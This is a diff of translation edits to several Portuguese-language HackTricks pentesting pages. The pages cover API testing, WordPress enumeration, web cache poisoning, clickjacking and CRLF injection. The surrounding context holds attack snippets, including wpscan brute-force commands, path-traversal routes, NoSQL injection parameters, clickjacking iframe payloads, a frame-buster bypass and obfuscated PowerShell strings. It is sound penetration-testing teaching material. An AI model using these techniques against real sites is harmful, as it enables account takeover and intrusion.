|||
|
||||
### Substituir parâmetros
|
||||
|
||||
Você pode tentar **fuzzar parâmetros** ou **usar** parâmetros **que você viu** em outros endpoints para tentar acessar outras informações.
|
||||
Você pode tentar **fuzzar parâmetros** ou **usar** parâmetros **que você viu** em endpoints diferentes para tentar acessar outras informações.
|
||||
|
||||
Por exemplo, se você vir algo como: _/api/albums?**album\_id=\<album id>**_
|
||||
|
||||
|
@ -116,11 +116,11 @@ Se você enviar dados POST regulares, tente enviar arrays e dicionários:
|
|||
* username\[]=John
|
||||
* username\[$neq]=lalala
|
||||
|
||||
### Brinque com as rotas
|
||||
### Brincar com rotas
|
||||
|
||||
`/files/..%2f..%2f + ID da vítima + %2f + nome do arquivo da vítima`
|
||||
|
||||
### Verifique possíveis versões
|
||||
### Verificar possíveis versões
|
||||
|
||||
Versões antigas ainda podem estar em uso e ser mais vulneráveis do que os endpoints mais recentes
|
||||
|
||||
|
@ -129,7 +129,7 @@ Versões antigas ainda podem estar em uso e ser mais vulneráveis do que os endp
|
|||
* `/api/CharityEventFeb2020/user/pp/<ID>`
|
||||
* `/api/CharityEventFeb2021/user/pp/<ID>`
|
||||
|
||||
### Verifique possíveis versões (abordagem automatizada)
|
||||
### Verificar possíveis versões (abordagem automatizada)
|
||||
|
||||
Extensão AutoRepeater Burp: Adicione uma regra de substituição
|
||||
|
||||
|
@ -137,7 +137,7 @@ Extensão AutoRepeater Burp: Adicione uma regra de substituição
|
|||
* `Correspondência: v2 (versão mais alta)`
|
||||
* `Substituir por: v1 (versão mais baixa)`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -196,21 +196,21 @@ Devido aos ataques limitados no GraphQL, tentamos gerar todos os possíveis ataq
|
|||
|
||||
Leia este documento para aprender como **pesquisar** e **explorar** as 10 principais vulnerabilidades de API do Owasp: [https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)
|
||||
|
||||
## Lista de verificação de segurança de API
|
||||
## API Security Checklist
|
||||
|
||||
{% embed url="https://github.com/shieldfy/API-Security-Checklist" %}
|
||||
|
||||
## Filtros Logger++ para caçar vulnerabilidades de API
|
||||
## Logger++ Filters para Caçar Vulnerabilidades de API
|
||||
|
||||
[https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)
|
||||
|
||||
## Lista de possíveis pontos finais de API
|
||||
## Lista de possíveis endpoints de API
|
||||
|
||||
[https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)
|
||||
|
||||
## Ferramentas
|
||||
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Ótima ferramenta para **descobrir pontos finais de API.**
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Ótima ferramenta para **descobrir endpoints de API.**
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20 # Downloaded from kiterunner repo
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
|
@ -226,7 +226,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
* [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): O gem API\_Fuzzer aceita uma solicitação de API como entrada e retorna vulnerabilidades possíveis na API.
|
||||
* [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Testa condições de corrida em aplicativos da web enviando um número especificado de solicitações para uma URL (ou URLs) de destino _simultaneamente_ e, em seguida, compara as respostas do servidor em busca de unicidade.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -95,7 +95,7 @@ Para obter temas no WordPress, você pode seguir estas etapas:
|
|||
4. Para adicionar um novo tema, clique no botão "Adicionar Novo".
|
||||
5. Navegue pelos temas disponíveis ou use a barra de pesquisa para encontrar um tema específico.
|
||||
6. Quando encontrar um tema que deseja instalar, clique no botão "Instalar".
|
||||
7. Após a instalação, clique no botão "Ativar" para ativar o tema.
|
||||
7. Após a instalação, clique no botão "Ativar" para ativar o tema recém-instalado.
|
||||
|
||||
Agora você tem um novo tema instalado e ativado em seu site WordPress.
|
||||
```bash
|
||||
|
@ -113,19 +113,19 @@ Existem várias maneiras de extrair informações sobre as versões do WordPress
|
|||
|
||||
3. **Arquivos de manifesto**: Os plugins do WordPress geralmente possuem um arquivo de manifesto (manifest file) que contém informações sobre a versão. Procure por arquivos como `plugin-name.php` ou `plugin-name/readme.txt` e verifique o conteúdo para encontrar a versão.
|
||||
|
||||
4. **Headers HTTP**: Alguns servidores podem enviar informações sobre a versão do WordPress nos headers HTTP. Use ferramentas como o cURL ou o Burp Suite para visualizar os headers da resposta do servidor.
|
||||
4. **Headers HTTP**: Ao fazer uma solicitação HTTP para o site WordPress, verifique os headers de resposta para encontrar informações sobre a versão. Procure por headers como `X-Powered-By` ou `X-Generator`.
|
||||
|
||||
5. **Fingerprinting**: Existem ferramentas de fingerprinting específicas para WordPress, como o WPScan, que podem ser usadas para identificar a versão do WordPress e dos plugins instalados.
|
||||
5. **Ferramentas de escaneamento**: Existem várias ferramentas de escaneamento automatizado que podem ajudar a extrair informações sobre as versões do WordPress e dos plugins instalados. Alguns exemplos populares incluem WPScan, WPScanGUI e WPScan Online.
|
||||
|
||||
Ao extrair informações sobre as versões, é importante manter a ética e garantir que você tenha permissão para realizar os testes de penetração.
|
||||
Ao extrair informações sobre as versões, é importante lembrar de não utilizar essas informações para fins maliciosos. O objetivo é apenas identificar possíveis vulnerabilidades e ajudar a manter o site seguro.
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -137,7 +137,7 @@ Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíve
|
|||
|
||||
### Usuários
|
||||
|
||||
**Brute Force de ID**
|
||||
**ID Brute**
|
||||
|
||||
Você obtém usuários válidos de um site WordPress forçando IDs de usuários:
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **no
|
|||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` estiver ativo, você pode realizar uma força bruta de credenciais ou usá-lo para lançar ataques de negação de serviço (DoS) a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit), por exemplo).
|
||||
Se `xml-rpc.php` estiver ativo, você pode realizar uma força bruta de credenciais ou usá-lo para lançar ataques de negação de serviço a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit), por exemplo).
|
||||
|
||||
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
|
||||
|
||||
|
@ -287,7 +287,7 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
|||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -393,14 +393,15 @@ Alterar senha do administrador:
|
|||
|
||||
Para garantir a segurança do seu site WordPress, é importante alterar regularmente a senha do administrador. Siga as etapas abaixo para alterar a senha do administrador:
|
||||
|
||||
1. Faça login no painel de administração do WordPress usando suas credenciais de administrador.
|
||||
2. No menu lateral, clique em "Usuários" e selecione "Todos os Usuários".
|
||||
3. Localize o usuário "admin" na lista de usuários e clique em "Editar".
|
||||
4. Role para baixo até a seção "Senha" e clique em "Gerar Senha".
|
||||
5. Uma nova senha será gerada automaticamente. Você pode mantê-la ou digitar uma senha personalizada.
|
||||
6. Clique em "Atualizar Perfil" para salvar a nova senha.
|
||||
1. Faça login no painel de administração do WordPress.
|
||||
2. No menu lateral, clique em "Usuários".
|
||||
3. Selecione o usuário "admin" na lista de usuários.
|
||||
4. Role a página até a seção "Alterar Senha".
|
||||
5. Clique no link "Gerar Senha" para gerar uma nova senha segura automaticamente.
|
||||
6. Copie a nova senha gerada ou defina uma senha personalizada.
|
||||
7. Clique no botão "Atualizar Perfil" para salvar as alterações.
|
||||
|
||||
Certifique-se de escolher uma senha forte, que inclua letras maiúsculas e minúsculas, números e caracteres especiais. Além disso, evite usar senhas óbvias ou fáceis de adivinhar.
|
||||
Certifique-se de escolher uma senha forte, que contenha uma combinação de letras maiúsculas e minúsculas, números e caracteres especiais. Evite usar senhas óbvias ou fáceis de adivinhar.
|
||||
|
||||
Após alterar a senha do administrador, lembre-se de atualizar todas as informações de login relacionadas ao seu site WordPress para garantir a segurança contínua.
|
||||
```bash
|
||||
|
@ -432,7 +433,7 @@ Também, **instale apenas plugins e temas confiáveis do WordPress**.
|
|||
* **Limite as tentativas de login** para prevenir ataques de Força Bruta
|
||||
* Renomeie o arquivo **`wp-admin.php`** e permita o acesso apenas internamente ou de determinados endereços IP.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -447,7 +448,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -56,7 +56,7 @@ Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanit
|
|||
|
||||
### Obter a resposta em cache
|
||||
|
||||
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar dele, você precisa obter a página em cache. Dependendo do recurso que você está tentando obter em cache, isso pode levar algum tempo, talvez seja necessário tentar por vários segundos.\
|
||||
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusá-lo, você precisa obter a página em cache. Dependendo do recurso que você está tentando obter em cache, isso pode levar algum tempo, talvez seja necessário tentar por vários segundos.\
|
||||
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
|
||||
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`\
|
||||
Outro cabeçalho interessante é o **`Vary`**. Esse cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam chaveados. Portanto, se o usuário conhece o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam esse `User-Agent` específico.\
|
||||
|
@ -113,7 +113,7 @@ O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulne
|
|||
|
||||
Exemplo de uso: `wcvs -u example.com`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -125,7 +125,7 @@ Acesse hoje mesmo:
|
|||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
O ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas o host, o caminho e a consulta (ignorando o fragmento). Portanto, a solicitação `/#/../?r=javascript:alert(1)` era enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas o host, o caminho e a consulta.
|
||||
O ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas o host, o caminho e a consulta (ignorando o fragmento). Portanto, a solicitação `/#/../?r=javascript:alert(1)` era enviada ao backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas o host, o caminho e a consulta.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
|
@ -133,7 +133,7 @@ O envio de um valor incorreto no cabeçalho de tipo de conteúdo acionava uma re
|
|||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
O GitLab usa buckets do GCP para armazenar conteúdo estático. Os **buckets do GCP** suportam o cabeçalho `x-http-method-override`. Portanto, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
|
||||
O GitLab usa buckets do GCP para armazenar conteúdo estático. Os **buckets do GCP** suportam o cabeçalho `x-http-method-override`. Portanto, era possível enviar o cabeçalho `x-http-method-override: HEAD` e corromper o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
|
@ -151,7 +151,7 @@ A aplicação também pode suportar o cabeçalho `X-forwarded-host` e redirecion
|
|||
|
||||
### 403 e Storage Buckets
|
||||
|
||||
Anteriormente, o **Cloudflare** costumava **armazenar em cache** as respostas **403**, portanto, o envio de cabeçalhos de autorização incorretos tentando acessar **S3** ou **Azure Storage Blobs** expostos retornaria um 403 que seria armazenado em cache. O Cloudflare não armazena mais respostas 403, mas isso pode funcionar com outros proxies.
|
||||
Anteriormente, o **Cloudflare** costumava **armazenar em cache** as respostas **403**, portanto, o envio de **cabeçalhos de Autorização inválidos** tentando acessar **S3** ou **Azure Storage Blobs** expostos retornaria um 403 que seria armazenado em cache. O Cloudflare não armazena mais respostas 403, mas isso pode funcionar com outros proxies.
|
||||
|
||||
![](<../.gitbook/assets/image (171).png>)
|
||||
|
||||
|
@ -219,7 +219,7 @@ Aprenda aqui como realizar ataques de Engano de Cache ao abusar do Contrabando d
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -26,11 +26,11 @@ Clickjacking é um ataque que **enganar** um **usuário** para **clicar** em um
|
|||
|
||||
### Truque de preencher formulários
|
||||
|
||||
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga útil de clickjacking para que o usuário pressione o botão Enviar.
|
||||
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
|
||||
|
||||
### Preencher formulário com Arrastar e Soltar
|
||||
|
||||
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Payload básico
|
||||
```markup
|
||||
|
@ -86,21 +86,21 @@ left:210px;
|
|||
```
|
||||
### Carga de Arrastar e Soltar + Clique
|
||||
|
||||
Clickjacking can be combined with other techniques to create more sophisticated attacks. One such combination is the Drag & Drop + Click payload. This technique takes advantage of the user's interaction with draggable elements on a webpage.
|
||||
Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action.
|
||||
|
||||
Clickjacking pode ser combinado com outras técnicas para criar ataques mais sofisticados. Uma dessas combinações é a carga de Arrastar e Soltar + Clique. Essa técnica aproveita a interação do usuário com elementos arrastáveis em uma página da web.
|
||||
O clickjacking pode ser combinado com a funcionalidade de arrastar e soltar para criar um ataque mais sofisticado. Nessa técnica, o atacante engana o usuário para arrastar e soltar um objeto em um botão ou link oculto, o que aciona uma ação maliciosa.
|
||||
|
||||
The attacker first creates a malicious webpage that contains a draggable element, such as an image or a button. When the user visits this webpage, they may be enticed to interact with the draggable element.
|
||||
To perform this attack, the attacker first creates a transparent overlay on top of the target website. This overlay contains a draggable object that appears harmless to the user. The attacker then uses JavaScript to capture the user's drag and drop events and redirect them to the hidden button or link.
|
||||
|
||||
O atacante primeiro cria uma página da web maliciosa que contém um elemento arrastável, como uma imagem ou um botão. Quando o usuário visita essa página da web, ele pode ser incentivado a interagir com o elemento arrastável.
|
||||
Para realizar esse ataque, o atacante primeiro cria uma sobreposição transparente sobre o site alvo. Essa sobreposição contém um objeto arrastável que parece inofensivo para o usuário. O atacante então usa JavaScript para capturar os eventos de arrastar e soltar do usuário e redirecioná-los para o botão ou link oculto.
|
||||
|
||||
Once the user starts dragging the element, the attacker's webpage uses JavaScript to overlay an invisible iframe on top of a target webpage. The iframe is positioned in such a way that when the user releases the draggable element, they inadvertently click on a hidden button or perform an action on the target webpage without their knowledge.
|
||||
When the user unknowingly drags and drops the object onto the hidden button or link, they inadvertently trigger the malicious action associated with it. This can include actions such as submitting a form, making a purchase, or performing any other action that the attacker desires.
|
||||
|
||||
Assim que o usuário começa a arrastar o elemento, a página da web do atacante usa JavaScript para sobrepor um iframe invisível em cima de uma página da web alvo. O iframe é posicionado de tal forma que, quando o usuário solta o elemento arrastável, ele inadvertidamente clica em um botão oculto ou realiza uma ação na página da web alvo sem o seu conhecimento.
|
||||
Quando o usuário, sem saber, arrasta e solta o objeto no botão ou link oculto, ele inadvertidamente aciona a ação maliciosa associada a ele. Isso pode incluir ações como enviar um formulário, fazer uma compra ou realizar qualquer outra ação que o atacante desejar.
|
||||
|
||||
This technique can be used to perform various malicious actions, such as submitting forms, making unauthorized transactions, or even changing the user's account settings.
|
||||
To protect against drag and drop + click payloads, web developers should implement measures such as frame-busting code, X-Frame-Options headers, and Content Security Policy (CSP) to prevent clickjacking attacks.
|
||||
|
||||
Essa técnica pode ser usada para realizar várias ações maliciosas, como enviar formulários, fazer transações não autorizadas ou até mesmo alterar as configurações da conta do usuário.
|
||||
Para se proteger contra cargas de arrastar e soltar + clique, os desenvolvedores web devem implementar medidas como código de quebra de frames, cabeçalhos X-Frame-Options e Política de Segurança de Conteúdo (CSP) para evitar ataques de clickjacking.
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -149,7 +149,7 @@ _Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes
|
|||
|
||||
#### Bypass
|
||||
|
||||
Como os bloqueadores de frames são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma solução eficaz para contornar os bloqueadores de frames é usar o **atributo `sandbox` do iframe do HTML5**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do bloqueador de frames pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
||||
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma forma eficaz de contornar os frame busters é usar o **atributo `sandbox` do iframe do HTML5**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
||||
```markup
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
|
@ -193,10 +193,10 @@ Consulte a documentação a seguir para obter mais detalhes e exemplos mais comp
|
|||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -156,7 +156,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -182,11 +182,11 @@ Além disso, os pesquisadores também descobriram que poderiam dessincronizar as
|
|||
|
||||
## Impactos da Vulnerabilidade de Injeção de CRLF
|
||||
|
||||
O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política da Mesma Origem nos navegadores da vítima, deixando-os suscetíveis a ataques maliciosos.
|
||||
